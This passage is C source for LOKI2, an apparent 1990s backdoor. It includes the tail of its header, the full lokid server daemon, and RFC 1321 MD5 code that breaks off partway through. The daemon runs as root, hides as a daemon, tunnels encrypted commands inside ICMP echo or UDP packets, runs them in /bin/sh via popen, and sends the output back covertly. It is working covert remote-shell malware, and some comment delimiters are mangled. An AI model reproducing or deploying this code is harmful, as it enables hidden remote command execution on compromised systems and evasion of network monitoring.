
if (ldg.payload[0] == 0xa1) fprintf(stderr, "Public Key Request"); \ else if (ldg.payload[0] == 0xa2) fprintf(stderr, "Public Key Reply"); \ else if (ldg.payload[0] == 0xa3) fprintf(stderr, "Encrypted OK"); \ else if (ldg.payload[0] == 0xb1) fprintf(stderr, "Client Request"); \ else if (ldg.payload[0] == 0xb2) fprintf(stderr, "Server Reply"); \ else if (ldg.payload[0] == 0xc1) fprintf(stderr, "Error"); \ else if (ldg.payload[0] == 0xd1) fprintf(stderr, "ACK"); \ else if (ldg.payload[0] == 0xd2) fprintf(stderr, "QUIT"); \ else if (ldg.payload[0] == 0xf1) fprintf(stderr, "Server EOT"); \

else fprintf(stderr, "Unknown"); \

if (prot == IPPROTO_ICMP) fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.icmp_type);\

else fprintf(stderr, "\n");\

#define DUMP_PACKET(ldg, i)\

\

for (i = 0; i < BUFSIZE; i++) fprintf(stderr, "0x%x ",ldg.payload[i]); \ fprintf(stderr, "\n");\

#endif

/*

* Escaped commands (not interpreted by the shell)

*/

#define HELP "/help" /* Help me */

#define TIMER "/timer" /* Change the client side timer */

#define QUIT_C "/quit" /* Quit the client */

#define QUIT_ALL "/quit all" /* Kill all clients and server */

#define STAT_C "/stat" /* Stat the client */

#define STAT_ALL "/stat all" /* Stat all the clients */

#define SWAP_T "/swapt" /* Swap protocols */

#define REDIR_C "/redirect" /* Redirect to another client */

#define PROXY_D "/proxy" /* Proxy to another server */

/*

* Control flag symbolics

*/

#define TERMINATE 0x01

#define TRAP 0x02

#define VALIDC 0x04

#define VALIDP 0x08

#define NEWTRANS 0x10

#define REDIRECT 0x20

#define PROXY 0x40

#define SENDKILL 0x80

/*

* Message Strings

* L_ == common to both server and client

* S_ == specific to server

* C_ == specific to client

*/

#define L_MSG_BANNER "\nLOKI2\troute [(c) 1997 guild corporation worldwide]\n" #define L_MSG_NOPRIV "\n[fatal] invalid user identification value" #define L_MSG_SOCKET "[fatal] socket allocation error"

#define L_MSG_ICMPONLY "\nICMP protocol only with strong cryptography\n" #define L_MSG_ATEXIT "[fatal] cannot register with atexit(2)" #define L_MSG_DHKEYGEN "generating Diffie‑Hellman parameters and keypair" #define L_MSG_DHKGFAIL "\n[fatal] Diffie‑Hellman key generation failure\n" #define L_MSG_SIGALRM "[fatal] cannot catch SIGALRM"

#define L_MSG_SIGUSR1 "[fatal] cannot catch SIGUSR1"

#define L_MSG_SIGCHLD "[fatal] cannot catch SIGCHLD"

#define L_MSG_WIERDERR "\n[SUPER fatal] control should NEVER fall here\n" #define S_MSG_PACKED "\nlokid: server is currently at capacity. Try again later\n" #define S_MSG_UNKNOWN "\nlokid: cannot locate client entry in database\n" #define S_MSG_UNSUP "\nlokid: unsupported or unknown command string\n" #define S_MSG_ICMPONLY "\nlokid: ICMP protocol only with strong cryptography\n" #define S_MSG_CLIENTK "\nlokid: clean exit (killed at client request)\n" #define S_MSG_DUP "\nlokid: duplicate client entry found, updating\n" #define S_MSG_USAGE "\nlokid ‑p (i|u) [ ‑v (0|1) ]\n"

#define C_MSG_USAGE "\nloki ‑d dest ‑p (i|u) [ ‑v (0|1) ] [ ‑t (n>3) ]\n" #define C_MSG_TIMEOUT "\nloki: no response from server (expired timer)\n" #define C_MSG_NOSWAP "\nloki: cannot swap protocols with strong crypto\n" #define C_MSG_PKREQ "loki: requesting public from server\n" #define C_MSG_PKREC "loki: received public key, computing shared secret\n" #define C_MSG_SKSET "loki: extracting and setting expanded blowfish key\n" #define C_MSG_MUSTQUIT "\nloki: received termination directive from server\n"

/*

* Macros to evaluate packets to determine if they are LOKI or not. * These are UGLY.

*/

/*

* ICMP_ECHO client packet check

*/

#define IS_GOOD_ITYPE_C(ldg)\

\

(i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\

ldg.ttype.icmph.icmp_type == D_P_TYPE &&\

ldg.ttype.icmph.icmp_id == loki_id &&\

ldg.ttype.icmph.icmp_seq == L_TAG &&\

ldg.payload[0] == L_REPLY ||\

ldg.payload[0] == L_PK_REPLY ||\

ldg.payload[0] == L_EOT ||\

ldg.payload[0] == L_QUIT ||\

ldg.payload[0] == L_ERR)) ==\

1) ? (1) : (0)\

/*

* ICMP_ECHO daemon packet check

*/

#define IS_GOOD_ITYPE_D(ldg)\

\

(i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\

ldg.ttype.icmph.icmp_type == C_P_TYPE &&\

ldg.ttype.icmph.icmp_seq == L_TAG &&\

ldg.payload[0] == L_REQ ||\

ldg.payload[0] == L_QUIT ||\

ldg.payload[0] == L_PK_REQ)) ==\

1) ? (1) : (0)\

/*

* UDP client packet check

*/

#define IS_GOOD_UTYPE_C(ldg)\

\

(i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\

ldg.ttype.udph.uh_sport == NL_PORT &&\

ldg.ttype.udph.uh_dport == loki_id &&\

ldg.payload[0] == L_REPLY ||\

ldg.payload[0] == L_EOT ||\

ldg.payload[0] == L_QUIT ||\

ldg.payload[0] == L_ERR)) ==\

1) ? (1) : (0)\

/*

* UDP daemon packet check. Yikes. We need more info here.

*/

#define IS_GOOD_UTYPE_D(ldg)\

\

(i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\

ldg.ttype.udph.uh_dport == NL_PORT &&\

ldg.payload[0] == L_QUIT ||\

ldg.payload[0] == L_REQ)) ==\

1) ? (1) : (0)\

/*

* ICMP_ECHO / ICMP_ECHOREPLY header prototype

*/

struct icmp_echo

{

u_char icmp_type; /* 1 byte type */

u_char icmp_code; /* 1 byte code */

u_short icmp_cksum; /* 2 byte checksum */

u_short icmp_id; /* 2 byte identification */

u_short icmp_seq; /* 2 byte sequence number */

};

/*

* UDP header prototype

*/

struct udp

{

u_short uh_sport; /* 2 byte source port */

u_short uh_dport; /* 2 byte destination port */

u_short uh_ulen; /* 2 byte length */

u_short uh_sum; /* 2 byte checksum */

};

/*

* LOKI packet prototype

*/

struct loki

{

struct ip iph; /* IP header */

union

{

struct icmp_echo icmph; /* ICMP header */

struct udp udph; /* UDP header */

}ttype;

u_char payload[BUFSIZE]; /* data payload */

};

#define LOKIP_SIZE sizeof(struct loki)

#define LP_DST rdg.iph.ip_src

void blur(int, int, u_char *); /* Symmetric encryption function */

char *host_lookup(u_long); /* network byte ‑> human readable */

u_long name_resolve(char *); /* human readable ‑> network byte */

u_short i_check(u_short *, int); /* Ah yes, the IP family checksum */

int c_parse(u_char *, int *); /* parse escaped commands [client] */

void d_parse(u_char *, pid_t, int); /* parse escaped commands [server] */

build and transmit LOKI packets */

void loki_xmit(u_char *, u_short, int, struct sockaddr_in, int); int lokid_xmit(u_char *, u_long, int, int);

void err_exit(int, int, int, char *); /* handle exit with reason */

void clean_exit(int); /* exit cleanly */

void help(); /* lala */

void shadow(); /* daemonizing routine */

void swap_t(int); /* swap protocols [server‑side] */

void reaper(int); /* prevent zombies */

void catch_timeout(int); /* ALARM signal catcher */

void client_expiry_check(); /* expire client from shm */

void prep_shm(); /* Prepare shm ans semaphore */

void dump_shm(); /* detach shm */

void packets_read(); /* packets read (client) */

void fd_status(int, int); /* dumps fd stats */

#ifdef PTY

int ptym_open(char *);

int ptys_open(int, char *);

pid_t pty_fork(int *, char *, struct termios *, struct winsize *); #endif

#ifdef STRONG_CRYPTO

DH* generate_dh_keypair(); /* generate DH params and keypair */

u_char *extract_bf_key(u_char *, int); /* extract and md5 and set bf key */

#endif

#endif /* __LOKI_H__ */

<‑‑> loki.h

<++> L2/lokid.c

/*

* LOKI2

*

* [ lokid.c ]

*

* 1996/7 Guild Corporation Worldwide [daemon9]

*/

#include "loki.h"

#include "client_db.h"

#include "shm.h"

jmp_buf env; /* holds our stack frame */

struct loki sdg, rdg; /* LOKI packets */

time_t uptime = 0; /* server uptime */

u_long b_sent = 0, p_sent = 0; /* bytes / packets written */

u_short c_id = 0; /* client id */

int destroy_shm = NOK; /* Used to mark whether or not

a process should destroy the

shm segment upon exiting.

int verbose = OK, prot = IPPROTO_ICMP, ripsock = 0, tsock = 0;

#ifdef STRONG_CRYPTO

extern u_char user_key[BF_KEYSIZE];

extern BF_KEY bf_key;

extern u_short ivec_salt;

DH *dh_keypair = NULL; /* DH public and private key */

#endif

#ifdef PTY

int mfd = 0; /* master PTY file descriptor */

#endif

int main(int argc, char *argv[])

{

static int one = 1, c = 0, cflags = 0;

u_char buf1[BUFSIZE] = {0};

pid_t pid = 0;

#ifdef STRONG_CRYPTO

static int c_ind = ‑1;

#endif

#ifdef POPEN

FILE *job = NULL;

char buf2[BUFSIZE] = {0};

#endif

ensure we have proper permissions */

if (geteuid() || getuid()) err_exit(0, 1, 1, L_MSG_NOPRIV); while ((c = getopt(argc, argv, "v:p:")) != EOF)

{

switch (c)

{

case 'v': /* change verbosity */

verbose = atoi(optarg);

break;

case 'p': /* choose transport protocol */

switch (optarg[0])

{

case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */

prot = IPPROTO_ICMP; break;

case 'u': /* DNS query / reply */

prot = IPPROTO_UDP; break;

default:

err_exit(1, 0, 1, "Unknown transport\n"); }

break;

default:

err_exit(0, 0, 1, S_MSG_USAGE);

}

}

if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) err_exit(1, 1, 1, L_MSG_SOCKET);

#ifdef STRONG_CRYPTO /* ICMP only with strong crypto */

if (prot != IPPROTO_ICMP) err_exit(0, 0, 1, L_MSG_ICMPONLY); #else

Child will signal parent if a

transport protcol switch is

required

if (signal(SIGUSR1, swap_t) == SIG_ERR)

err_exit(1, 1, verbose, L_MSG_SIGUSR1);

#endif

if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) err_exit(1, 1, 1, L_MSG_SOCKET);

#ifdef DEBUG

fprintf(stderr, "\nRaw IP socket: ");

fd_status(ripsock, OK);

#endif

#ifdef IP_HDRINCL

if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) if (verbose) perror("Cannot set IP_HDRINCL socket option"); #endif

power up shared memory segment and

semaphore, register dump_shm to be

called upon exit

prep_shm();

if (atexit(dump_shm) == ‑1) err_exit(1, 1, verbose, L_MSG_ATEXIT);

fprintf(stderr, L_MSG_BANNER);

time(&uptime); /* server uptime timer */

#ifdef STRONG_CRYPTO

Generate DH parameters */

if (verbose) fprintf(stderr, "\nlokid: %s", L_MSG_DHKEYGEN); if (!(dh_keypair = generate_dh_keypair()))

err_exit(1, 0, verbose, L_MSG_DHKGFAIL);

if (verbose) fprintf(stderr, "\nlokid: done.\n");

#endif

#ifndef DEBUG

shadow(); /* go daemon */

#endif

destroy_shm = OK; /* if this process exits at any point

* from hereafter, mark shm as destroyed

*/

/* Every KEY_TIMER seconds, we should

* check the client_key list and see

* if any entries have been idle long

* enough to expire them.

*/

if (signal(SIGALRM, client_expiry_check) == SIG_ERR) err_exit(1, 1, verbose, L_MSG_SIGALRM); alarm(KEY_TIMER);

if (signal(SIGCHLD, reaper) == SIG_ERR)

err_exit(1, 1, verbose, L_MSG_SIGCHLD);

for (; ;)

{

cflags &= ~VALIDP; /* Blocking read */

c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE);

switch (prot)

{ Is this a valid Loki packet? */

case IPPROTO_ICMP:

if ((IS_GOOD_ITYPE_D(rdg)))

{

cflags |= VALIDP;

c_id = rdg.ttype.icmph.icmp_id; }

break;

case IPPROTO_UDP:

if ((IS_GOOD_UTYPE_D(rdg)))

{

cflags |= VALIDP;

c_id = rdg.ttype.udph.uh_sport; }

break;

default:

err_exit(1, 0, verbose, L_MSG_WIERDERR);

}

if (cflags & VALIDP)

{

#ifdef DEBUG

fprintf(stderr, "\n[DEBUG]\t\tlokid: packet read %d bytes, type: ", c); PACKET_TYPE(rdg);

DUMP_PACKET(rdg, c);

#endif

switch (pid = fork())

{

case 0:

destroy_shm = NOK; /* child should NOT mark segment as

destroyed when exiting...

TLI seems to have problems in

passing socket file desciptors around

#ifdef SOLARIS

close(ripsock);

if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) err_exit(1, 1, 1, L_MSG_SOCKET);

#ifdef DEBUG

fprintf(stderr, "\nRaw IP socket: "); fd_status(ripsock, OK);

#endif /* DEBUG */

#endif /* SOLARIS */

break;

default: /* parent will loop forever spawning

children if we do not zero rdg

bzero((struct loki *)&rdg, LOKIP_SIZE); cflags &= ~VALIDP;

continue;

case ‑1: /* fork error */

err_exit(1, 1, verbose, "[fatal] forking error"); }

#ifdef STRONG_CRYPTO

preliminary evaluation of the pkt

to see if we have a request for the

servers public key

if (rdg.payload[0] == L_PK_REQ)

{

if (verbose)

{

fprintf(stderr, "\nlokid: public key submission and request : %s <%d> ", host_lookup(rdg.iph.ip_dst), c_id); fprintf(stderr, "\nlokid: computing shared secret"); }

DH_compute_key(buf1, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZE, NULL), dh_keypair); if (verbose) fprintf(stderr, "\nlokid: extracting 128‑bit blowfish key");

Try to add client to client list */

if (((c = add_client(extract_bf_key(buf1, NOK))) == ‑1)) {

#else

if (((c = add_client((u_char *)NULL)) == ‑1)) {

#endif /* MAX_CLIENT limit reached */

lokid_xmit(S_MSG_PACKED, LP_DST, L_ERR, NOCR); lokid_xmit(buf1, LP_DST, L_EOT, NOCR); err_exit(1, 0, verbose, "\nlokid: Cannot add key\n"); }

#ifdef STRONG_CRYPTO

if (verbose)

{

fprintf(stderr, "\nlokid: client <%d> added to list [%d]", c_id, c); fprintf(stderr, "\nlokid: submiting my public key to client");

} send our public key to the client */

bzero((u_char *)buf1, BUFSIZE); BN_bn2bin((BIGNUM *)dh_keypair ‑> pub_key, buf1);

lokid_xmit(buf1, LP_DST, L_PK_REPLY, NOCR); lokid_xmit(buf1, LP_DST, L_EOT, NOCR); clean_exit(0);

}

bzero((u_char *)buf1, BUFSIZE);

Control falls here when we have

a regular request packet.

if ((c_ind = locate_client(FIND)) == ‑1)

{ Cannot locate the client's entry */

lokid_xmit(S_MSG_UNKNOWN, LP_DST, L_ERR, NOCR); lokid_xmit(buf1, LP_DST, L_EOT, NOCR); err_exit(1, 0, verbose, S_MSG_UNKNOWN);

} set expanded blowfish key */

else BF_set_key(&bf_key, BF_KEYSIZE, user_key);

#endif

unload payload */

bcopy(&rdg.payload[1], buf1, BUFSIZE ‑ 1);

#ifdef STRONG_CRYPTO

The IV salt is incremented in the

client prior to encryption, ergo

the server should increment before

decrypting

ivec_salt = update_client_salt(c_ind);

#endif

blur(DECR, BUFSIZE ‑ 1, buf1);

parse escaped command */

if (buf1[0] == '/') d_parse(buf1, pid, ripsock);

#ifdef POPEN /* popen the shell command and execute

it inside of /bin/sh

if (!(job = popen(buf1, "r"))) err_exit(1, 1, verbose, "\nlokid: popen");

while (fgets(buf2, BUFSIZE ‑ 1, job))

{

bcopy(buf2, buf1, BUFSIZE); lokid_xmit(buf1, LP_DST, L_REPLY, OKCR); }

lokid_xmit(buf1, LP_DST, L_EOT, OKCR);

#ifdef STRONG_CRYPTO

update_client(c_ind, p_sent, b_sent);

#else

update_client(locate_client(FIND), p_sent, b_sent); #endif

clean_exit(0); /* exit the child after sending

the last packet

#endif

#ifdef PTY /* Not implemented yet */

fprintf(stderr, "\nmfd: %d", mfd);

#endif

}

}

}

/*

* Build and transmit Loki packets (server‑side version)

*/

int lokid_xmit(u_char *payload, u_long dst, int ptype, int crypt_flag) {

struct sockaddr_in sin;

int i = 0;

bzero((struct loki *)&sdg, LOKIP_SIZE);

sin.sin_family = AF_INET;

sin.sin_addr.s_addr = dst;

sdg.payload[0] = ptype; /* set packet type */

Do not encrypt error or public

key reply packets

if (crypt_flag == OKCR) blur(ENCR, BUFSIZE ‑ 1, payload); bcopy(payload, &sdg.payload[1], BUFSIZE ‑ 1);

if (prot == IPPROTO_ICMP)

{

#ifdef NET3 Our workaround. */

sdg.ttype.icmph.icmp_type = ICMP_ECHO;

#else

sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY;

#endif

sdg.ttype.icmph.icmp_code = (int)NULL; sdg.ttype.icmph.icmp_id = c_id; /* client ID */

sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */

sdg.ttype.icmph.icmp_cksum = i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE); }

if (prot == IPPROTO_UDP)

{

sdg.ttype.udph.uh_sport = NL_PORT; sdg.ttype.udph.uh_dport = rdg.ttype.udph.uh_sport; sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE); sdg.ttype.udph.uh_sum = i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE); }

sdg.iph.ip_v = 0x4;

sdg.iph.ip_hl = 0x5;

sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE);

sdg.iph.ip_ttl = 0x40;

sdg.iph.ip_p = prot;

sdg.iph.ip_dst = sin.sin_addr.s_addr;

#ifdef SEND_PAUSE

usleep(SEND_PAUSE);

#endif

if ((i = sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr *)&sin, sizeof(sin))) < LOKIP_SIZE) {

if (verbose) perror("[non fatal] truncated write");

}

else

{ /* Update global stats */

b_sent += i;

p_sent ++;

}

return ((i < 0 ? 0 : i)); /* Make snocrash happy (return bytes written,

* or return 0 if there was an error)

*/

}

/*

* Parse escaped commands (server‑side version)

*/

void d_parse(u_char *buf, pid_t pid, int ripsock)

{

u_char buf2[4 * BUFSIZE] = {0};

int n = 0, m = 0;

u_long client_ip = 0;

client request for an all kill */

if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) ‑ 1))

{

if (verbose) fprintf(stderr, "\nlokid: client <%d> requested an all kill\n", c_id); while (n < MAX_CLIENT) /* send notification to all clients */

{

if ((client_ip = check_client_ip(n++, &c_id))) {

if (verbose) fprintf(stderr, "\tsending L_QUIT: <%d> %s\n", c_id, host_lookup(client_ip)); lokid_xmit(buf, client_ip, L_QUIT, NOCR); }

}

if (verbose) fprintf(stderr, S_MSG_CLIENTK);

send a SIGKILL to all the processes

in the servers group...

if ((kill(‑pid, SIGKILL)) == ‑1)

err_exit(1, 1, verbose, "[fatal] could not signal process group"); clean_exit(0);

}

client is exited, remove entry

from the client list

if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) ‑ 1))

{

if ((m = locate_client(DESTROY)) == ‑1) err_exit(1, 0, verbose, S_MSG_UNKNOWN);

else if (verbose) fprintf(stderr, "\nlokid: client <%d> freed from list [%d]", c_id, m); clean_exit(0);

}

stat request */

if (!strncmp(buf, STAT_C, sizeof(STAT_C) ‑ 1))

{

bzero((u_char *)buf2, 4 * BUFSIZE);

Ok. This is an ugly hack to keep

packet counts in sync with the

stat request. We know the amount

of packets we are going to send (and

therefore the byte count) in advance

so we can preload the values.

update_client(locate_client(FIND), 5, 5 * LOKIP_SIZE); n = stat_client(locate_client(FIND), buf2, prot, uptime);

breakdown payload into BUFSIZE‑1

chunks, suitable for transmission

for (; m < n; m += (BUFSIZE ‑ 1))

{

bcopy(&buf2[m], buf, BUFSIZE ‑ 1); lokid_xmit(buf, LP_DST, L_REPLY, OKCR);

}

lokid_xmit(buf, LP_DST, L_EOT, OKCR); clean_exit(0); /* exit the child after sending

the last packet

}

#ifndef STRONG_CRYPTO /* signal parent to change protocols */

if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) ‑ 1))

{

if (kill(getppid(), SIGUSR1))

err_exit(1, 1, verbose, "[fatal] could not signal parent"); clean_exit(0);

}

#endif

unsupport/unrecognized command */

lokid_xmit(S_MSG_UNSUP, LP_DST, L_REPLY, OKCR); lokid_xmit(buf2, LP_DST, L_EOT, OKCR);

update_client(locate_client(FIND), p_sent, b_sent); clean_exit(0);

}

/*

* Swap transport protocols. This is called as a result of SIGUSR1 from * a child server process.

*/

void swap_t(int signo)

{

int n = 0;

u_long client_ip = 0;

struct protoent *pprot = 0;

char buf[BUFSIZE] = {0};

if (verbose) fprintf(stderr, "\nlokid: client <%d> requested a protocol swap\n", c_id);

while (n < MAX_CLIENT)

{

if ((client_ip = check_client_ip(n++, &c_id)))

{

fprintf(stderr, "\tsending protocol update: <%d> %s [%d]\n", c_id, host_lookup(client_ip), n); lokid_xmit(buf, client_ip, L_REPLY, OKCR); lokid_xmit(buf, client_ip, L_EOT, OKCR);

/* update_client(locate_client(FIND), p_sent, b_sent);*/

}

}

close(tsock);

prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP; if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) err_exit(1, 1, verbose, L_MSG_SOCKET);

pprot = getprotobynumber(prot);

sprintf(buf, "lokid: transport protocol changed to %s\n", pprot ‑> p_name); fprintf(stderr, "\n%s", buf);

lokid_xmit(buf, LP_DST, L_REPLY, OKCR);

lokid_xmit(buf, LP_DST, L_EOT, OKCR); update_client(locate_client(FIND), p_sent, b_sent);

re‑establish signal handler */

if (signal(SIGUSR1, swap_t) == SIG_ERR)

err_exit(1, 1, verbose, L_MSG_SIGUSR1);

}

/* EOF */

<‑‑> lokid.c

<++> L2/md5/Makefile

# Makefile for MD5 from rfc1321 code

CCF = ‑O ‑DMD=5

md5c.o: md5.h global.h

gcc $(CCF) ‑c md5c.c

clean:

rm ‑f *.o core

<‑‑> md5/Makefile

<++> L2/md5/global.h

/* GLOBAL.H ‑ RSAREF types and constants

*/

/* PROTOTYPES should be set to one if and only if the compiler supports

function argument prototyping.

The following makes PROTOTYPES default to 0 if it has not already

Rivest Page 7]

RFC 1321 MD5 Message‑Digest Algorithm April 1992

been defined with C compiler flags.

*/

#ifndef PROTOTYPES

#define PROTOTYPES 0

#endif

/* POINTER defines a generic pointer type */

typedef unsigned char *POINTER;

/* UINT2 defines a two byte word */

typedef unsigned short int UINT2;

/* UINT4 defines a four byte word */

typedef unsigned long int UINT4;

/* PROTO_LIST is defined depending on how PROTOTYPES is defined above.

If using PROTOTYPES, then PROTO_LIST returns the list, otherwise it returns an empty list.

*/

#if PROTOTYPES

#define PROTO_LIST(list) list

#else

#define PROTO_LIST(list) ()

#endif

<‑‑> md5/global.h

<++> L2/md5/md5.h

/* MD5.H ‑ header file for MD5C.C

*/

/* Copyright (C) 1991‑2, RSA Data Security, Inc. Created 1991. All

rights reserved.

License to copy and use this software is granted provided that it is identified as the "RSA Data Security, Inc. MD5 Message‑Digest Algorithm" in all material mentioning or referencing this software or this function.

License is also granted to make and use derivative works provided that such works are identified as "derived from the RSA Data Security, Inc. MD5 Message‑Digest Algorithm" in all material mentioning or referencing the derived work.

RSA Data Security, Inc. makes no representations concerning either the merchantability of this software or the suitability of this software for any particular purpose. It is provided "as is" without express or implied warranty of any kind.

Rivest Page 8]

RFC 1321 MD5 Message‑Digest Algorithm April 1992

These notices must be retained in any copies of any part of this documentation and/or software.

*/

#define MD5_HASHSIZE 16

/* MD5 context. */

typedef struct {

UINT4 state[4]; /* state (ABCD) */

UINT4 count[2]; /* number of bits, modulo 2^64 (lsb first) */

unsigned char buffer[64]; /* input buffer */

} MD5_CTX;

void MD5Init PROTO_LIST ((MD5_CTX *));

void MD5Update PROTO_LIST

((MD5_CTX *, unsigned char *, unsigned int));

void MD5Final PROTO_LIST ((unsigned char [16], MD5_CTX *));

<‑‑> md5/md5.h

<++> L2/md5/md5c.c

/* MD5C.C ‑ RSA Data Security, Inc., MD5 message‑digest algorithm

*/

/* Copyright (C) 1991‑2, RSA Data Security, Inc. Created 1991. All

rights reserved.

License to copy and use this software is granted provided that it is identified as the "RSA Data Security, Inc. MD5 Message‑Digest Algorithm" in all material mentioning or referencing this software or this function.

License is also granted to make and use derivative works provided that such works are identified as "derived from the RSA Data Security, Inc. MD5 Message‑Digest Algorithm" in all material mentioning or referencing the derived work.

RSA Data Security, Inc. makes no representations concerning either the merchantability of this software or the suitability of this software for any particular purpose. It is provided "as is" without express or implied warranty of any kind.

These notices must be retained in any copies of any part of this documentation and/or software.

*/

#include "global.h"

#include "md5.h"

/* Constants for MD5Transform routine.

*/

/*

Rivest Page 9]

RFC 1321 MD5 Message‑Digest Algorithm April 1992 */

#define S11 7

#define S12 12

#define S13 17

#define S14 22

#define S21 5

#define S22 9

#define S23 14

#define S24 20

#define S31 4

#define S32 11

#define S33 16

#define S34 23

#define S41 6

#define S42 10

#define S43 15

#define S44 21

static void MD5Transform PROTO_LIST ((UINT4 [4], unsigned char [64])); static void Encode PROTO_LIST

((unsigned char *, UINT4 *, unsigned int));

static void Decode PROTO_LIST

((UINT4 *, unsigned char *, unsigned int));

static void MD5_memcpy PROTO_LIST ((POINTER, POINTER, unsigned int)); static void MD5_memset PROTO_LIST ((POINTER, int, unsigned int));

static unsigned char PADDING[64] = {

0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

};

/* F, G, H and I are basic MD5 functions.

*/

#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))

#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))

#define H(x, y, z) ((x) ^ (y) ^ (z))

#define I(x, y, z) ((y) ^ ((x) | (~z)))

/* ROTATE_LEFT rotates x left n bits.

*/

#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32‑(n))))

/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.

Rotation is separate from addition to prevent recomputation.

*/

#define FF(a, b, c, d, x, s, ac) { \

(a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \

(a) = ROTATE_LEFT ((a), (s)); \

(a) += (b); \

}

#define GG(a, b, c, d, x, s, ac) { \

(a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \

(a) = ROTATE_LEFT ((a), (s)); \

(a) += (b); \

}

#define HH(a, b, c, d, x, s, ac) { \

(a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \

(a) = ROTATE_LEFT ((a), (s)); \

(a) += (b); \

}

#define II(a, b, c, d, x, s, ac) { \

(a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \

(a) = ROTATE_LEFT ((a), (s)); \

(a) += (b); \

}

/* MD5 initialization. Begins an MD5 operation, writing a new context.

*/

void MD5Init (context)

MD5_CTX *context; context */

{

context‑>count[0] = context‑>count[1] = 0;

/* Load magic initialization constants.

*/

context‑>state[0] = 0x67452301;

context‑>state[1] = 0xefcdab89;

context‑>state[2] = 0x98badcfe;

context‑>state[3] = 0x10325476;

}

/* MD5 block update operation. Continues an MD5 message‑digest

operation, processing another message block, and updating the context.

*/

void MD5Update (context, input, inputLen)

MD5_CTX *context; context */

unsigned char *input; /* input block */

unsigned int inputLen; /* length of input block */

{

unsigned int i, index, partLen;

/* Compute number of bytes mod 64 */

index = (unsigned int)((context‑>count[0] >> 3) & 0x3F);

/* Update number of bits */

if ((context‑>count[0] += ((UINT4)inputLen << 3))

/*

Rivest Page 11]

RFC 1321 MD5 Message‑Digest Algorithm April 1992 */

< ((UINT4)inputLen << 3))

context‑>count[1]++;

context‑>count[1] += ((UINT4)inputLen >> 29);

partLen = 64 ‑ index;

/* Transform as many times as possible.

*/

if (inputLen >= partLen) {

MD5_memcpy

((POINTER)&context‑>buffer[index], (POINTER)input, partLen); MD5Transform (context‑>state, context‑>buffer);

for (i = partLen; i + 63 < inputLen; i += 64)

MD5Transform (context‑>state, &input[i]);

index = 0;

}

else

i = 0;

/* Buffer remaining input */

MD5_memcpy

((POINTER)&context‑>buffer[index], (POINTER)&input[i], inputLen‑i);

}

/* MD5 finalization. Ends an MD5 message‑digest operation, writing the

the message digest and zeroizing the context.

*/

void MD5Final (digest, context)

unsigned char digest[16]; /* message digest */

MD5_CTX *context; context */

{

unsigned char bits[8];

unsigned int index, padLen;

/* Save number of bits */

Encode (bits, context‑>count, 8);

/* Pad out to 56 mod 64.

*/

index = (unsigned int)((context‑>count[0] >> 3) & 0x3f); padLen = (index < 56) ? (56 ‑ index) : (120 ‑ index); MD5Update (context, PADDING, padLen);

/* Append length (before padding) */

MD5Update (context, bits, 8);

/*

Rivest Page 12]

RFC 1321 MD5 Message‑Digest Algorithm April 1992 */

/* Store state in digest */

Encode (digest, context‑>state, 16);

/* Zeroize sensitive information.

*/

MD5_memset ((POINTER)context, 0, sizeof (*context));

}

/* MD5 basic transformation. Transforms state based on block.

*/

static void MD5Transform (state, block)

UINT4 state[4];

unsigned char block[64];

{

UINT4 a = state[0], b = state[1], c = state[2], d = state[3], x[16];

Decode (x, block, 64);

/* Round 1 */

FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */

FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */

FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */

FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */

FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */

FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */

FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */

FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */

FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */

FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */

FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */

